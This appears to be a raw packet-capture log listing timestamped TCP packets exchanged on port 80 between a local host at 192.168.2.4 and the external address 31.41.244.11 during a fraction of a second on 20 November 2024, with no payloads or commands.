Nov 20, 2024 04:08:11.549740076 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549761057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549778938 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549787045 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.549791098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549803972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549808979 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.549817085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549828053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549834967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.549839973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549854040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549865961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549875975 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.549879074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549891949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549901009 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.549904108 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549925089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.549936056 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549947023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549948931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.549958944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549964905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549982071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550007105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550149918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550162077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550172091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550180912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550190926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550203085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550214052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550213099 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550225973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550237894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550240040 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550255060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550259113 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550275087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550290108 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550298929 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550308943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550311089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550312042 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550332069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550340891 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550344944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550358057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550369024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550379992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550383091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550405979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550406933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550425053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550457954 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550591946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550602913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550620079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550632954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550642967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550663948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550663948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550695896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550702095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550717115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550729036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550736904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.550759077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.550789118 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.551409006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.551460981 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.551479101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.551490068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.551498890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.551512957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.551522970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.551533937 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.551534891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.551551104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.551553011 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.551590919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.551621914 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552189112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552198887 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552233934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552242994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552253008 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552283049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552398920 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552412033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552423000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552488089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552488089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552521944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552534103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552542925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552561045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552573919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552582026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552587032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552593946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552607059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552618980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552622080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552638054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552649975 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552664995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552676916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552686930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552687883 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552699089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552709103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552720070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552730083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552731991 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552731991 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552742004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552753925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552763939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552771091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552778006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552788973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552803040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552808046 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552822113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552835941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552845955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552858114 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552859068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552871943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552880049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552885056 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552896023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552906036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552926064 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.552931070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552942038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552952051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.552968979 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.553009033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.590025902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.590090990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.590105057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.590106010 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.590123892 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.590141058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.590162039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.590162039 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.590179920 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.590189934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.590198040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.590240002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.590257883 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.600708008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.600738049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.600765944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.600790977 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.600790977 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.600805044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.600815058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.600824118 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.600851059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.600867987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.600893974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.600910902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.600913048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.600913048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.600913048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.600945950 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.600948095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.600965023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.600981951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.600985050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.600985050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.600999117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.601012945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.601017952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.601036072 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.601048946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.601052999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.601068974 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.601069927 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.601089954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.601105928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.601123095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.601130962 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.601139069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.601157904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.601182938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.601212978 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638190031 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638223886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638242006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638258934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638286114 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638295889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638314009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638334036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638339043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638365030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638374090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638394117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638396978 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638421059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638437033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638452053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638454914 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638469934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638498068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638499022 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638515949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638520956 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638545036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638561010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638561964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638588905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638597965 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638617039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638636112 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638643980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638660908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638669014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638675928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638690948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638695002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638712883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638715029 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638726950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638744116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638752937 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638763905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638780117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638782024 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638797998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638813972 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638814926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638834000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638847113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638853073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638883114 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638912916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638912916 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638942957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638957024 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.638959885 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638968945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638978004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638993979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.638995886 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.639013052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.639029980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.639029980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.639062881 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.639062881 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.639092922 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.639117956 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.639123917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.639139891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.639170885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.639224052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.639241934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.639256954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.639269114 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.639273882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.639290094 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.639290094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.639336109 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.639353037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.639980078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640047073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.640088081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640105009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640120983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640136957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640145063 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.640152931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640168905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640173912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.640187979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640216112 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.640238047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.640793085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640862942 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.640868902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640885115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640899897 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640924931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.640928030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640945911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640959024 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.640974045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.640990019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641004086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641007900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641040087 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641077042 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641093969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641109943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641125917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641143084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641156912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641161919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641180038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641186953 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641199112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641242027 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641241074 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641241074 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641261101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641278028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641293049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641304970 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641309023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641324997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641328096 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641351938 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641367912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641369104 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641385078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641401052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641402006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641417980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641419888 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641437054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641453981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641469955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641473055 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641506910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641515017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641530991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641546965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641561985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641571999 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641578913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641593933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641611099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.641616106 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.641664028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.678603888 CET	80	62430	31.41.244.11	192.168.2.4
